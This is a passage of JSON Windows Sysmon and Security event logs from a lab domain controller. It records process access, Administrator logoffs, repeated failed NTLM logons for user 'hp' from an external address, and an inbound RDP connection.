286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2598,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.273\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.273","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221759,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x46769\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x46769","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221760,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x464AF\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x464af","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221761,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x475C8\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x475c8","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221762,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t53488\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"53488","EventReceivedTime":"2020-08-07 11:50:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221763,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t53541\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"53541","EventReceivedTime":"2020-08-07 11:50:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221764,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t53726\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"53726","EventReceivedTime":"2020-08-07 11:50:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":2599,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: RDP\r\nUtcTime: 2020-08-07 11:50:33.636\r\nProcessGuid: {90617006-3FD4-5F2D-0000-001041B90000}\r\nProcessId: 1140\r\nImage: C:\\Windows\\System32\\svchost.exe\r\nUser: NT AUTHORITY\\NETWORK SERVICE\r\nProtocol: tcp\r\nInitiated: false\r\nSourceIsIpv6: false\r\nSourceIp: 84.38.187.194\r\nSourceHostname: \r\nSourcePort: 48878\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 10.0.1.14\r\nDestinationHostname: win-dc-9849183.attackrange.local\r\nDestinationPort: 3389\r\nDestinationPortName: ms-wbt-server","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","RuleName":"RDP","UtcTime":"2020-08-07 11:50:33.636","ProcessGuid":"{90617006-3FD4-5F2D-0000-001041B90000}","Image":"C:\\Windows\\System32\\svchost.exe","User":"NT AUTHORITY\\NETWORK SERVICE","Protocol":"tcp","Initiated":"false","SourceIsIpv6":"false","SourceIp":"84.38.187.194","SourcePort":"48878","DestinationIsIpv6":"false","DestinationIp":"10.0.1.14","DestinationHostname":"win-dc-9849183.attackrange.local","DestinationPort":"3389","DestinationPortName":"ms-wbt-server","EventReceivedTime":"2020-08-07 11:50:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221765,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t53795\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"53795","EventReceivedTime":"2020-08-07 11:50:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221766,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t53934\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"53934","EventReceivedTime":"2020-08-07 11:50:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221767,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t54060\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"54060","EventReceivedTime":"2020-08-07 11:50:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2600,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 